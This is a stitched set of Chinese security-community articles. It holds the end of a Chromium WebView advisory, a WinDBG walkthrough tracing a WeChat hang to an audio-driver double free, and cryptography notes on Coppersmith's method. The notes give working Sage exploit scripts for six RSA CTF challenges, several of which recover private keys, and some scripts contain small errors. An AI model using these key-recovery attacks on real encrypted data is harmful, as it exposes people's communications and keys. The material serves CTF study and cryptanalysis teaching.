请使用定制Chromium自有内核的厂商注意排查和修复安全漏洞。使用了相关浏览服务的厂商关注官方的安全升级，避免产品出现安全隐患。
**
**
**0x05 参考链接**
<http://www.cnnvd.org.cn/vulnerability/show/cv_id/2016080414>
<https://github.com/secmob/cansecwest2016>
<http://www.androidcentral.com/android-webview-security>
<https://developer.chrome.com/multidevice/webview/overview>
<http://x5.tencent.com/guide?id=4000> | 社区文章 |
来源：[格友](https://mp.weixin.qq.com/s?__biz=MzA3NTk5MDIzNw==&mid=2647665469&idx=1&sn=c2ec2f78fb5a36b6e6d77ccd5cf605b6&chksm=874c9e8fb03b17992fda7feaf59529cb505004ce58065904c8474b51bf46703012eb9081a1ec&mpshare=1&scene=1&srcid=1010xGGvlzRsyhcUcY0Qlsf0#rd
"格友")
作者：格蠹老雷
大家都常用微信吧？肯定的啊。那么，遇到过微信程序出问题么？“有还是没有？”哈哈，这个问题不好回答了，“没有啊，挺稳定的”，“好像有过，界面一闪就消失了，但再启动就好了”，“前段时间，遇到一串奇怪字符就死”。
不轻信不迷信，本于事实说话，老雷昨天真的遇到微信程序出现问题，而且还是比较严重的问题。
首先澄清一下，出问题的是微信的PC版本，不是手机版本。为了便于区分，不妨把PC版本称为“微信大程序”（与手机上的小程序之名对应）。
#### 大程序挂死
大多时候使用微信小程序就够了，这一次启动微信大程序的原因是为了从手机向PC传递文件。传递文件后就没有关闭它。昨天下午，有朋友发起语音聊天，托盘区域弹出漂亮的提示界面。看到后，我知道是要开一个约定好的“电话”会议。犹豫了一下是该在PC上接听，还是从手机上接听。考虑到伏案半天了，想站起来活动活动，于是就拿起手机接听。20多分钟后，会议结束，放下手机，坐到电脑前，看到托盘区域的语音聊天提示还在。当时就有点好奇，不知道腾讯的同行是如何设计这个逻辑的，如果手机接听了，是不是应该把PC上的这个提示自动关闭啊？还是允许两边同时接听，诶呀，还挺复杂的......
一边想，一边移动鼠标想把这个提示界面关闭掉。但是鼠标移过去后，光标的形状由尖尖的箭头变为一个圆环，中心透明。在窗口里移动鼠标，圆环跟着移动，移动的同时在不停的旋转。尝试着把鼠标移动到按钮，没有任何变化，仍是不停的旋转。看起来，窗口里的所有元素都都凝固成了一团，分不出按钮还是背景。点击鼠标，感觉硬邦邦的，点不动，似乎一切都冻结了，冻得还很牢，仿佛严冬的水面经历过了零下40度的低温......
过了几秒钟再点击，出现了一个对话框。上面写着：“WeChat未响应”。
根据老雷多年的经验，可以很肯定的说：微信挂死了。准确地说，是微信大程序挂死了。
#### 上调试器
今天的软件太复杂了，程序本身复杂，环境也复杂，二者对接，复杂度以排列组合的方式激增。CPU在五花八门的各类函数间纵横驰骋，所到之处难以预估。而其中任何一个地方出问题，都可能导致CPU脱离正常轨道，出现上面所描述的情形。
那么，是到底是什么问题导致洋洋微信大程序翻身落马，动弹不得呢？
或许有人说，费什么事啊？重启算了。
非也，一旦重启就湮灭了第一手的证据，错过了找到问题根源的最好机会。接下里便可能有一大堆模棱两可的推测，或者稀里糊涂地产生一些错误结论，甚至冤假错案。作为一个认真的软件工程师，怎么能那么不负责任呢？不禁想起《窦娥冤》里的经典台词：只合把清浊分辨，可怎生糊突了盗跖，颜渊？
闲言打住，上调试器。
唤出 WinDBG，尝试附加到 WeChat
进程，失败，错误码5，访问被拒绝。以管理员方式运行WinDBG再试，成功。看来微信大程序是以较高权限运行的（为何？姑且不论）。
因为是界面挂死，直接观察0号UI线程的执行轨迹。
从下向上看，虽然因为缺少腾讯模块的调试符号，少了一些信息，但是总的执行脉络还是很清楚的，#1d是编译器的入口函数，#1c是WeChat程序的Main函数，而后进入WeChat程序的主DLL，调用导出函数StartWechat，而后是消息循环（#18-19），之后应该是某个消息触发执行消息处理函数，在处理消息的过程中，调用了waveInOpen
API。查看这个API的文档，可知其精确的函数原型。
MMRESULT waveInOpen(
LPHWAVEIN phwi,
UINT uDeviceID,
LPCWAVEFORMATEX pwfx,
DWORD_PTR dwCallback,
DWORD_PTR dwCallbackInstance,
DWORD fdwOpen
);
waveXXX 系列 API 是 Windows 平台上经典的多媒体编程接口，用来输出和输入声音，从函数名中的 waveIn
看便知道它是用来接收声音（录音）的。如此看来，微信程序的UI线程是在打开录音设备时遇到了障碍，并且卡住不能动了。
浏览进程中的其它线程的执行轨迹，发现有多个线程在执行声音有关的逻辑，包括30号线程在打开声音输出设备。
31号线程在执行打开声音输出设备句柄的内部逻辑，并因此发起了RPC（远程过程调用）。
#### 苦寻RPC服务线程
RPC 是著名的故障源（trouble maker），调试时看到它就看到了线索，但同时也可能到了绝境。因为很多时候，调试到这里便到了终点，接下来无处可追了。
“追到哪里了？”
“追到 RPC 了”
“然后呢？”
“然后就不知道call到哪里去了.......”
因为 RPC 常常是跨进程的，甚至是跨机器的，所以天生就比较难以调试，更糟糕的是，RPC
有关的调试工具，大多陈旧不堪，多年没有更新，因此辛辛苦苦找到一种方法，但是试一下却不好用。悲哉 RPC，令众多调试高手折戟而归！
对于眼下的问题，老雷也尝试了几种 RPC 工具，包括 WinDBG 的插件 rpcexts，WinDBG 附带的 dbgrpc 工具，以及第三方的
rpcview（不能支持笔者系统中的 rpc 运行 rpcrt4），但是都差了一点点，或者两点点，未能到达彼岸。
从上面栈回溯中的 NdrClientCall4 函数来看，该线程是RPC的客户端，接下来的关键是找到处理这个调用的服务端，把断了的线索衔接起来。
一条路不行，只好找下一条。尝试本地内核调试，需要事先启用，但是老雷确实启用好了的，但是 windbg
报错失败，原因是某处有个bug，启动之后，只能用一次，第二次便出现下图所示的错误。我确实是用过了一次的。
#### LiveKD显身手
踌躇之间，忽然想到了 MarkR 的 livekd，启动一个管理员权限的控制台，切换到 livekd 目录，发出命令：`livekd -k
c:\wd10x64\windbg.exe`
WinDBG 跳出，顺利建立内核调试会话，太棒了，一切顺利，真是天无绝人之路啊。
有了强大的内核调试会话，顿时感觉鸟枪换炮了。列出WeChat进程的所有线程，找到刚才发起RPC的31号线程（系统ID 4898）。
从线程的基本信息中，果然看到它在等待ALPC消息（RPC在本机时经常使用的通信方式）。
Waiting for reply to ALPC Message ffffa4807ec1dce0 : queued at port ffffc48d8bee3cb0 : owned by process ffffc48d8bdf5080
让人高兴的是WinDBG给出了丰富的细节。使用!alpc -m显示消息详情：
其中的Server
Thread就是我们梦寐以求的（可恶的）服务线程。服务进程是svchost.exe。系统里有很多个svchost进程实例，不依赖强大的工具，如何能找到这个进程啊！
观察服务线程的内核态信息，可以看到它在等待（晕倒）。记下它的线程ID（230c）和进程ID（994）。
这个服务线程为何发起等待呢？因为是用户态发起的，所以使用用户态调试器会更方便。
#### 第三驾马车
再开启一个 WinDBG 实例，附加到 svchost 进程（进程ID 994）。~* k列出所有线程的执行轨迹，找到230c号线程（RPC服务线程）。
从#10的`RPCRT4!LRPC_SCALL::HandleRequest`来看，这个线程真的在处理RPC请求。
不过，在处理过程中，它要进临界区，却失败了，因为里面已经有人了。发起进临界区的函数是：
audiosrv!CAudioDGProcess::LockADGProcess
当你急着要用高铁的卫生间而其处于有人状态时，你只好等，等啊等啊的时候，你或许思考人生，你或许刷屏，你或许明白了，有些天价酒店的原因不是有多好，只是因为客人少......但此时你脑海里拂之不去的一个问题可能是“谁在里面呢？”
在软件世界里，这个好办，只要执行!locks:
WinDBG 告诉我们有两个临界区处于锁状态。因为临界区是不可以跨进程的，所以可以确定刚才的230c线程一定在等待其中的一个。哪一个呢？
如果是32位进程，那么很容易通过分析参数确定下来，64位下，参数回溯变得如登月般困难。不过只有两个，分别看一下吧。细节略过，老雷使用了大约2秒确定下来是下面一个。也就是说，230c想要进的临界区，被4fcc线程捷足先登了。干脆一点，是4fcc占着卫生间不出来。
切换到这个4fcc线程，看它在做啥？
天啊，它也在做 RPC。任何技术一旦被滥用后果都是很重的，比如塑料，还有......
#### 寻找另一个RPC服务进程
4fcc 在调用谁呢？服务进程是哪一个？重用刚才的套路，切换到本地内核调试会话，找到 4fcc 线程，观察它的状态。
继续观察 ALPC 消息的信息：
哦，服务进程的名字叫 audiodg.exe，著名的人物啊，其大名叫 Windows Audio Device Graph
Isolation。很有博士范的一个名字。
注意上面显示的信息中 ServerThread
条目为空。不过，这并不代表没有服务线程，观察服务端口（QueuePort），可以看到有三个线程登记注册了完成端口（线程间快速协作机制，名字翻译为中文后有点不通，姑且不论），记下它们的线程ID，分别是2c1c、441c和493c。
值得注意的是，这个端口的队列有61条消息在排队。堵车堵的非常厉害。
不妨与没有排队的端口比较一下。
#### 第四架马车
下一步应该调试 audiodg 进程了，看它在忙什么，有那么多消息排队而不处理。
在LKD会话里观察它的概要信息，老雷意外发现它已经在被调试。
0: kd> !process ffffc48d958a1080
PROCESS ffffc48d958a1080
SessionId: 0 Cid: 323c Peb: e327bdb000 ParentCid: 0994
FreezeCount 1
ElapsedTime 3 Days 15:38:12.880
DebugPort ffffc48d9b413760
谁在调试它呢？老雷没有啊。这个信息让老雷很诧异。
思考片刻，有了推测，或许是它崩溃了，触发了JIT调试。打开任务管理器观察，果然如此，在会话0里有 windbg 附加在它身上了。还有另外几个 WinDBG
实例，看来后台服务崩溃了好几个，分别是 vmms、DELL 预装的 DDV 服务、以及windows自动更新服务。（这么多的崩溃或许与前几天的
Windows 10 自动升级有关，留待以后讨论。）
启动第四个 WinDBG 实例，以非入侵方式附加到 auduidg
进程，观察上面记录的三个监听线程。从栈回溯来看，它们都在调用NtWaitForWorkViaWorkerFactory，进入内核等待任务了。
0:005> kc
# Call Site
00 ntdll!NtWaitForWorkViaWorkerFactory
01 ntdll!TppWorkerThread
02 KERNEL32!BaseThreadInitThunk
03 ntdll!RtlUserThreadStart
看起来没什么问题啊？怎么回事呢？
沿着这个方向继续思考的话，方向就错了。上上下下，跟来跟去，跑了几百公里了吧，老雷有点累了，差点进入死胡同。
看线程列表，可以看到所有线程的挂起计数都是2，说明它们都处于挂起状态。
为什么都被挂起来了呢？因为某个地方发生爆炸了。
#### 爆炸现场
浏览所有线程，6号线程果然硝烟弥漫。
0:006> kc
# Call Site
00 ntdll!RtlReportCriticalFailure
01 ntdll!RtlpHeapHandleError
02 ntdll!RtlpLogHeapFailure
03 ntdll!RtlFreeHeap
04 MaxxAudioRenderAVX64!DllUnregisterServer
05 MaxxAudioRenderAVX64!DllUnregisterServer
06 MaxxAudioRenderAVX64!DllUnregisterServer
07 kernel32!BaseThreadInitThunk
08 ntdll!RtlUserThreadStart
从 RtlpLogHeapFailure 和 RtlFreeHeap 就可以看出，是堆有关的问题。执行!heap，触发 WinDBG
检查堆的错误记录，果然报告错误：
错误类型：HEAP_FAILURE_BLOCK_NOT_BUSY，释放并非处于占用状态的块，简单说就是释放空闲块，或者说多次释放，double free。
如此看来，追到源头了。可以很负责任的说，音频驱动模块 MaxxAudioRenderAVX64
内部多次释放堆块，引发堆的错误检查机制发起异常，MaxxAudioRenderAVX64 模块应负全部责任。
前些天，安卓版的微信小程序在处理一个特别的字符串时会陷入死循环。今天，微信开发团队的同行公开发文，承认问题，并详细描述了bug的来龙去脉，这种开放的心态和实事求是的精神真是值得表扬。
无独有偶，老雷今日花了几个小时的时间，上下求索，四个调试器实例齐上阵，终于让问题水落石出，证明不是微信本身模块的问题，还微信程序以清白。
想到大半天的时间没有了，多少有些可惜。不过，想到搞清楚了一个问题，定位到了根源（希望maxx
audio的同行联系老雷获取崩溃现场的dump），而且记录下来的分析过程或许对软件同行们解决类似问题有所帮助，那么时间花的也值得了。分析过程中，老雷保存下了几个关键现场的转储文件，供以后交流和研习使用（有兴趣的同行请关注软件调试研习班针对[Windows的特别专题](https://mp.weixin.qq.com/s?__biz=MzA3NTk5MDIzNw==&mid=2647665378&idx=1&sn=e2418771317c9edb88155dfa4cda1702&chksm=874c9f50b03b16467b29baa19369a0ea3d73c9c6010397ea5577155382428dee35df005beac8&scene=21#wechat_redirect
"Windows的特别专题")）。
在写这篇文章的时候，还发现公众号编辑环境上传图片功能的一个bug，如果粘贴板里有图片的话，那么每次上传新图片后，都会自动选择粘贴板的图片（如下图），而不是用户希望的新上传图片。
* * * | 社区文章 |
# 密码学学习笔记之Coppersmith’s Method （三）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
单元coppersmith’s method 学习最终章，详解 第三届强网杯 之copper study，【这一波，这一波是首尾呼应。】
### 第一关：Stereotyped messages
已知n,e=3,c，m共512bit但是低72bit未知，原理可参考[Mathematics of Public Key Cryptography
ch19](https://www.math.auckland.ac.nz/~sgal018/crypto-book/ch19.pdf)。也即前文所述。
[+]Generating challenge 1
[+]n=0x44e360ce873d18d33eecc0829eb0801e71950e26576963c470f91f4c5e7f3e951f65404c6a87f4328495c9c64d39271f3317081aeab34bdf350c5f9bf0c5a49668f763cbf404e66f210336042c6a6e43eed6c6eaca69287ed91b2841148668fd3881b241317574cc8b307fb41593ff7caaa6f09e32f657399c63fe5f68995c5dL
[+]e=3
[+]m=random.getrandbits(512)
[+]c=pow(m,e,n)=0x20d40eecc8108d6c57b0ea2e1d7d165fb342813764f3760baf71e7929e3c22476de15b5e665ff8b869b5ed3a672aad4e9ef330bb7e18329ce2d0cccae369e244002882a273d3bf5a13b8936974768a920f5cbee52d0bb0323f867ff6305c5aa7ceb99453172332cd9837fdb05d6ea2d7eac39fd0d39960dc9ddbdd40f82b444bL
[+]((m>>72)<<72)=0x5377a12cada023e2714b4a9e80f1da87ca567f084e2862e704b813cd7f69b8dbbf67d60e73610fabb7896eeb3cc5a2c0915d03f9f8d44d000000000000000000L
[-]long_to_bytes(m).encode('hex')=
这道题我们完全可以将题面转化为在求方程f(x) = (m+x)^3 在模N下的解
所以可以直接套我们前面所描述的方法
exp:
# 展示格的样式
def matrix_overview(B, bound):
for ii in range(B.dimensions()[0]):
a = ('%02d ' % ii)
for jj in range(B.dimensions()[1]):
a += '0' if B[ii,jj] == 0 else 'X'
a += ' '
if B[ii, ii] >= bound:
a += '~'
print (a)
def coppersmith(pol, modulus, h, X):
# 计算矩阵维度
n = d * h
# 将多项式转到整数环上
polZ = pol.change_ring(ZZ)
x = polZ.parent().gen()
# 构造上文所述lattice，polZ(x * X) 就是环上的多项式f(X * x)，所以这里与上文不同的点就在于引入了变量x，但变量x在后面的矩阵构造中会被抹掉。
g = []
for i in range(h):
for j in range(d):
g.append((x * X)**j * modulus**(h - 1 - i) * polZ(x * X)**i)
B = Matrix(ZZ, n)
for i in range(n):
for j in range(i+1):
B[i, j] = g[i][j]
# 展示格的样式
matrix_overview(B,modulus^h)
# LLL算法
B = B.LLL()
# 将最短向量转化为多项式，并且去除相应的X
new_pol = 0
for i in range(n):
new_pol += x**i * B[0, i] / X**i
# 解方程
potential_roots = new_pol.roots()
return potential_roots
N =
e =
c =
m =
ZmodN = Zmod(N)
P.<x> = PolynomialRing(ZmodN)
f = (m + x)^e - c
epsilon = 1 / 7
# 根据公式计算参数d、h、X
d = f.degree()
h = ceil(1 / (d * epsilon))
X = ceil(N**((1/d) - epsilon))
roots = (coppersmith(f, N, d, h, X))[0]
for root in roots:
if (m + root)^e %N == c %N :
print(m + root)
构造的格的样式
与example3 构造的格是类似的
但其实sage已经集成了coppersmith的求根方法，因此简单调用一下函数就可以解决这个问题。这里之所以这样做其实是想映照前文，展示一下利用coppersmith来解决此类问题的整个过程。
利用现成方法版exp
N =
e =
c =
m =
ZmodN = Zmod(N)
P.<x> = PolynomialRing(ZmodN)
f = (m + x)^e - c
x0 = f.small_roots(X=2^kbits, beta=1)[0] # 这里的X选取不像上文用的是临界值，而是选了一个我们未知的x的最大可能值。X的选取并非严格，但至少得保证比临界值小。
print("m:", m + x0)
BTW，这里泄露的是明文的高位，其实还有泄露低位、泄露高低位的情况。但换汤不换药，无非是由m+x变成了 m_high +x * 2^k + m_low。
### 第二关：Factoring with high bits known
已知n,e,c，n=pq且已知p的高位
[+]Generating challenge 2
[+]n=0x5fe2743ec99568d645943147498849643932486590fb101f41c93ad7247161bc035d75dfb9e4b25209e26913098ecc1b7c4a92a47fb28452465d8b94e31844c4624da870140a48a28a0e6a3c6d9731b8488a63fd8ab9f5fe1ae86513c7444bb0aa39d44416b9cfa83c370f50c7a5a148a36823f0ddeed66ecf99117378c0640fL
[+]e=65537
[+]m=random.getrandbits(512)
[+]c=pow(m,e,n)=0x2639582bf7b22fd52a7a519673574e1212b675c9c10763ffcbcf5a86b61f07c4ea536e48dfbd4f3201cb2e18f2a0946959223b3f32bd5b3166d6cdd185ad946e543504dcc42ac9a24c03343bc8e4379997c722b12c66acaed6ad64d35f2fbcc8f4d899c1081d4211987841d1be082801a07014de89050b71e584827020934755L
[+]((p>>128)<<128)=0xe4f16417011e6cc5ced2aad00d5865a0530f37c078dd22d942d0d0811c7053d973b621c4768a2a87a6d233be10db8e1a00000000000000000000000000000000L
[-]long_to_bytes(m).encode('hex')=
这一关我们需要引入一个新的定理
#### Theorem 3
这里我就不再给出令人头大的证明了。直接给出一个例子，但是显然，由于条件的改变，这个格子的构造也会与之前的格子不同。
#### example 4
设N=16803551，p’=2830 ， X=10
我们设F(x)=(x+p’)，并且考虑多项式：N, F(x)，xF(x)=(x^2 + p’x)，x^2F(x)。然后构造格
LLL规约后得到第一行的SVP为（105，-1200，800，1000），去除X可以得到
G(x) = x^3 + 8x^2 – 120*x + 105；解方程可以得到x = 7，检查一下确实 2387|N
【这里的N也许显得突兀，把它看作是k * p也许会好理解些：所选取的多项式带入正解x时均在模p下与0同余。】
除了这样构造格子，通过查阅网上关于这道题的题解可以发现另一种格子的构造。我们这里是“x-shift”了三次，另外那种是先提升次数，然后再“x-shift”，具体用了这八个多项式：
格子的样式：
之所以这么选也是这里新引入了两个参数，一个是beta，一个是t，beta是未知p与已知N指数关系，这里就是0.4，因为p ≈
N^0.4，【其实可以是0.5，但我们并不确定p,
q的大小关系，保险起见用0.4】t的具体取值与beta相关，另外这里的h的取值也与beta有关，X的取值也与上面的定理所述不同。
exp
# 展示格的样式
def matrix_overview(B, bound):
for ii in range(B.dimensions()[0]):
a = ('%02d ' % ii)
for jj in range(B.dimensions()[1]):
a += '0' if B[ii,jj] == 0 else 'X'
a += ' '
if B[ii, ii] >= bound:
a += '~'
print (a)
def coppersmith(pol, modulus, beta, h, t, X):
# 计算矩阵维度
n = d * h + t
# 将多项式转到整数环上
polZ = pol.change_ring(ZZ)
x = polZ.parent().gen()
# 构造上文所述lattice，polZ(x * X) 就是环上的多项式f(X * x)，所以这里与上文不同的点就在于引入了变量x，但变量x在后面的矩阵构造中会被抹掉。
g = []
for i in range(h):
for j in range(d):
g.append((x * X)**j * modulus**(h - i) * polZ(x * X)**i)
for i in range(t):
g.append((x * X)**i * polZ(x * X)**h)
# 构造格B
B = Matrix(ZZ, n)
for i in range(n):
for j in range(i+1):
B[i, j] = g[i][j]
# 展示格的样式
matrix_overview(B, modulus^h)
# LLL
B = B.LLL()
# 将最短向量转化为多项式，并且去除相应的X
new_pol = 0
for i in range(n):
new_pol += x**i * B[0, i] / X**i
# 解方程
potential_roots = new_pol.roots()
# 检查根
roots = []
for root in potential_roots:
if root[0].is_integer():
result = polZ(ZZ(root[0]))
if gcd(modulus, result) >= modulus^beta:
print("p: ",(gcd(modulus, result)))
roots.append(ZZ(root[0]))
return roots
N =
ZmodN = Zmod(N)
P.<x> = PolynomialRing(ZmodN)
pbar =
f = pbar + x
beta = 0.4
d = f.degree()
epsilon = beta / 7
h = ceil(beta**2 / (d * epsilon))
t = floor(d * h * ((1/beta) - 1))
X = ceil(N**((beta**2/d) - epsilon))
roots = coppersmith(f, N, beta, h, t, X)
这个脚本其实也可以用在第一关，只要将beta改成1，再带入相应的多项式和数据就可以了。
相关的paper和原脚本在[github](https://github.com/mimoo/RSA-and-LLL-attacks/)，有兴趣的师傅可以研究研究。
同样，利用现成函数版exp
N =
pbar =
ZmodN = Zmod(N)
P.<x> = PolynomialRing(ZmodN)
f = pbar + x
x0 = f.small_roots(X=2^kbits, beta=0.4)
p = pbar + x0
print("p: ", p)
BTW，同第一关一样，这里的p泄露了高位，但与p泄露了低位的情况，无差。
### 第三关：Partial Key Exposure Attack
已知n,e=3,c，d的低512bit已知 【n的长度为1023】
[+]Generating challenge 3
[+]n=0x6f209521a941ddde2294745f53711ae6a7a59aa4d0735f47328ac03e26a4e092bb1c4c885029950f52b1e071597dc6e6d5129afbdb4688ad0479d6f9655dafef915da0a3f5114989cb474a13a9a4a4293fd447739b3cc2b0a3966f21617f057e6c199c5fd4d11ce78fdf9112f53446578b6cfd2c405eb0d3389cd3965636f719L
[+]e=3
[+]m=random.getrandbits(512)
[+]c=pow(m,e,n)=0x6126eaf34233341016966d50c54c6f7401e98f2015bcbdc4d56f93f0c48590fcd8ee784521c503be322c0848f998dc3a6d630bc1043a4162467c4b069b6c0e186061ed2187d0b2d44e9797ce62569d2dab58d183d69b9d110369a8d690361b22223e34e65e51868646d0ebf697b10e21a97d028833719e87c1584d2564f21167L
[+]d=invmod(e,(p-1)*(q-1))
[+]d&((1<<512)-1)=0x1d8f1499c4f6d90716d89f76833823e8fca4dd4034f17157e4fd9f6f070e1526f3b4fa3fe507d645ec848e4d7ff3728eb8df04b72849feabaa3425f9fc510ec3L
[-]long_to_bytes(m).encode('hex')=
exp
def recover_p(p0, n):
PR.<x> = PolynomialRing(Zmod(n))
nbits = n.nbits()
p0bits = p0.nbits()
f = 2^p0bits*x + p0
f = f.monic()
roots = f.small_roots(X=2^(nbits//2-p0bits), beta=0.4)
if roots:
x0 = roots[0]
p = gcd(2^d0bits*x0 + p0, n)
return ZZ(p)
def find_p0(d0, e, n):
X = var('X')
for k in range(1, e+1):
results = solve_mod([e*d0*X == k*n*X + k*X + X-k*X**2 - k*n], 2^d0.nbits())
for x in results:
p0 = ZZ(x[0])
p = recover_p(p0, n)
if p and p != 1:
return p
n =
e =
c =
d0 =
p = int(find_p0(d0, e, n))
print("found p: ", p)
q = n//int(p)
print("found d: ", inverse_mod(e, (p-1)*(q-1)))
### 第四关：Hastad’s Broadcast Attack
已知n1,c1,n2,c2,n3,c3,e=3
[+]Generating challenge 4
[+]e=3
[+]m=random.getrandbits(512)
[+]n1=0x1819da5abb8b8158ad6c834cb8fd6bc3ed9a3bd3e33b976344173f1766bf909bda253f18c9d9640570152707e493e3d3d461becc7197367ab702af33d67805e938321915f439e33f616b41781c54c101f05db0760cc8ca0f09063f3142b5b31f6aa062f1e60bba1a45e3720ab462ebd31e1228f5c49ae3de8172bad77b2d5b57L
[+]c1=pow(m,e,n1)=0x7841e1b22f4d571b722807007dc1d550a1970a32801c4649e83f4b99a01f70815b3952a34eadc1ec8ba112be840e81822f1c464b1bb4b24b168e5cb38016469548c5afd8c1bdb55402d1208f3201a2a4098aef305a8380b8c5b6b5b17d9fb65a6bdfdcf21abc063924a6512f18f1dc22332dfc87f4a00925daf1988d43aaecdL
[+]n2=0x6d1164ffa8cb2b7818b5ac90ef121b94e38fd5f93636b212184717779c45581f13c596631b23781de82417f9c8126be4a04ab52a508397f9318c713e65d08961d172f24f877f48ef9e468e52e3b5b17cbbe81646903d650f703c51f2ad0928dd958700b939e1fd7f590f26a6d637bd9ef265d027e7364c4e5e40a172ce970021L
[+]c2=pow(m,e,n2)=0x58f26614932924c81d30ef2389d00cf2115652ced08d59e51619207a7836fd3908b3179fc0df03fe610059c1fe001ca421e01e96afc47147d77bbbe6a3f51c5c06f1baeab8dc245c2567a603f87dea0a053b8f5df4e68f28896d7d1ba3dd3dcd7c4652d59404fa237f4868e1bbc9ae529196739486d86bd1723a78dfac781fe5L
[+]n3=0xde53be1db600264b0c3511ae4939c82164ea1166aadfd8dd0af6e15eb9df79a5d1a2757d3d15630441790ecf834098a1cf4b5858003f0b7f3a72823de014ac0a7c827ed1ca4185b245774f442a05dee3fe6bf846e5b035caf3b3c574b88911b7e5b81fc2c638729240f949e09a25a3a4a762c31005684791577d5e9fc8221abdL
[+]c3=pow(m,e,n3)=0x89f9fabc7e8d6f0e92d31109ea4c024446b323d9f441d72db4eb296eba3011abe2a58e68ec21a663e6493981e21835a826f28d1bc28d3476273ff733ef69c152e7fbfebc826132266f6eb65c86b242417c06eb31453f99ed7e075ababbfc208d042a2436a766f24eb9af0f45b60eea2c4405edfabd87584806bc0a1a51f9ca7aL
[-]long_to_bytes(m).encode('hex')=
对于这一关，由于我们知道m是512bit的，而用于加密的e=3，因此三个c即为m^3 在不同模下的剩余。由于m^3为512 *
3=1536bit，而可以知道的是三个模n的bit长度分别为1021，1023，1024。所以利用中国剩余定理【具体原理可以看俺这一篇[文章](https://www.anquanke.com/post/id/194137)】我们是可以还原长度为1536bit的m^3的，最后我们再开个三次根就好得到m了。
exp
from gmpy2 import *
def CRT(mi, ai):
assert (reduce(gcd,mi)==1)
assert (isinstance(mi, list) and isinstance(ai, list))
M = reduce(lambda x, y: x * y, mi)
ai_ti_Mi = [a * (M / m) * invert(M / m, m) for (m, a) in zip(mi, ai)]
return reduce(lambda x, y: x + y, ai_ti_Mi) % M
print iroot(CRT([n1,n2,n3],[c1,c2,c3]),3)
exp来自[食兔人的博客——CTF中的RSA基本套路](https://ycdxsb.cn/2decc525.html)
Cs = []
Ns = []
A= [1, 1, 2]
B= [0, 1, 2]
e= 3
# solve
cnt = e
PR.<x> = PolynomialRing(ZZ)
x = PR.gen()
Fs = []
for i in range(cnt):
f = (A[i]*x + B[i])**e - Cs[i]
ff = f.change_ring(Zmod(Ns[i]))
ff = ff.monic()
f = ff.change_ring(ZZ)
Fs.append(f)
F = crt(Fs, Ns)
M = reduce( lambda x, y: x * y, Ns )
FF = F.change_ring(Zmod(M))
m = FF.small_roots()
print("m: ",m)
### 第五关：Related Message Attack
已知n,e=3，m对应的密文c1，(m+1)对应的密文c2
[+]Generating challenge 5
[+]n=0xf2e5339236455e2bc1b1bd12e45b9341a3b223ddb02dec11c880fa4aa8835df9e463e4c446292cd5a2fe19b10017856654b6d6c3f3a94a95807712329f7dae2e1e6506094d5d2f9c8a05c35cbf3366330996db9bff930fe566016d5e850e232057d419292ce30df9c135d56ef1bb72c38838d4b127aa577ceb4aba94d4e0d55L
[+]e=3
[+]m=random.getrandbits(512)
[+]c=pow(m,e,n)=0x7175f2614b8d1a27b43f7c3873b3422658af28291ddc88b15f97f499e00cd4c5c4fd980f062376a61e5dd4c15d52d73262d3c066f1e8f46a04af6fead7c3960d2768a0d214bbc3e05d2f6e56aee158071574e55753624a19e094590fc3f9918a2065cd5ff7693e0d34517bc0072e6c9e444e66c4ece88d657f99e44bee48924L
[+]x=pow(m+1,e,n)=0xd5f4af36b5391bd731cfa4313466024ab1bc3b455024a5d8b218faba0e956252f01c4d01bd36765035c33d73e5af7f178aeb2606edf86814d74082c64828fa4c1666b69d05fab69dd1ef47b243356290fdb74e001f54edec70681cf52319c73bce9acda4803a9e97597ca21d60072c2d2b516f161bec1f6a91baa2e24c7655bL
[-]long_to_bytes(m).encode('hex')=
同第四关一样，这一题也有多解，一种是像一叶飘零师傅[这篇文章](https://www.anquanke.com/post/id/158944)所述，直接硬化公式
exp
import gmpy
def getM2(a,b,c1,c2,n):
a3 = pow(a,3,n)
b3 = pow(b,3,n)
first = c1-a3*c2+2*b3
first = first % n
second = 3*b*(a3*c2-b3)
second = second % n
third = second*gmpy.invert(first,n)
third = third % n
fourth = (third+b)*gmpy.invert(a,n)
return fourth % n
a = 1
b = -1
c1 =
c2 =
n =
m = a*getM2(a,b,c1,c2,n) + b
print hex(m)
exp
def franklinReiter(n,e,b,c1,c2):
R.<X> = Zmod(n)[]
f1 = X^e - c1
f2 = (X + b)^e - c2
m_ = GCD(f1,f2).coefficients()[0] # 返回的是首一多项式，coefficients()返回多项式各项式的系数，项式次数递增，所以第0项是常数
return Integer(n - m_) # 由于tmp其实是 -m % n,所以这里给他转换回去。
def GCD(a, b):
if(b == 0):
return a.monic() # 返回首一多项式，即多项式最高次的项式系数为1
else:
return GCD(b, a % b)
e =
n =
b =
c1 =
c2 =
M = franklinReiter(n,e,b,c1,c2)
print(M)
### 第六关：Boneh Durfee Attack
已知n,e,c，d只有1024 * 0.27bit
[+]Generating challenge 6
[+]n=0xbadd260d14ea665b62e7d2e634f20a6382ac369cd44017305b69cf3a2694667ee651acded7085e0757d169b090f29f3f86fec255746674ffa8a6a3e1c9e1861003eb39f82cf74d84cc18e345f60865f998b33fc182a1a4ffa71f5ae48a1b5cb4c5f154b0997dc9b001e441815ce59c6c825f064fdca678858758dc2cebbc4d27L
[+]d=random.getrandbits(1024*0.270)
[+]e=invmod(d,phin)
[+]hex(e)=0x11722b54dd6f3ad9ce81da6f6ecb0acaf2cbc3885841d08b32abc0672d1a7293f9856db8f9407dc05f6f373a2d9246752a7cc7b1b6923f1827adfaeefc811e6e5989cce9f00897cfc1fc57987cce4862b5343bc8e91ddf2bd9e23aea9316a69f28f407cfe324d546a7dde13eb0bd052f694aefe8ec0f5298800277dbab4a33bbL
[+]m=random.getrandbits(512)
[+]c=pow(m,e,n)=0xe3505f41ec936cf6bd8ae344bfec85746dc7d87a5943b3a7136482dd7b980f68f52c887585d1c7ca099310c4da2f70d4d5345d3641428797030177da6cc0d41e7b28d0abce694157c611697df8d0add3d900c00f778ac3428f341f47ecc4d868c6c5de0724b0c3403296d84f26736aa66f7905d498fa1862ca59e97f8f866cL
[-]long_to_bytes(m).encode('hex')=
但具体怎么去求解这个方程呢？这就涉及多元coppersmith’s
method了，超纲了吖，所以这里先用了github上的一个脚本[boneh_durfee.sage](https://github.com/mimoo/RSA-and-LLL-attacks/blob/master/boneh_durfee.sage)。这里的适用条件是d < N^0.292
# 思考&总结
在coppersmith’s method的边界计算中，由于推理中存在的不等式，格基规约算法在不同情况有不同的表现等问题，导致coppersmith’s
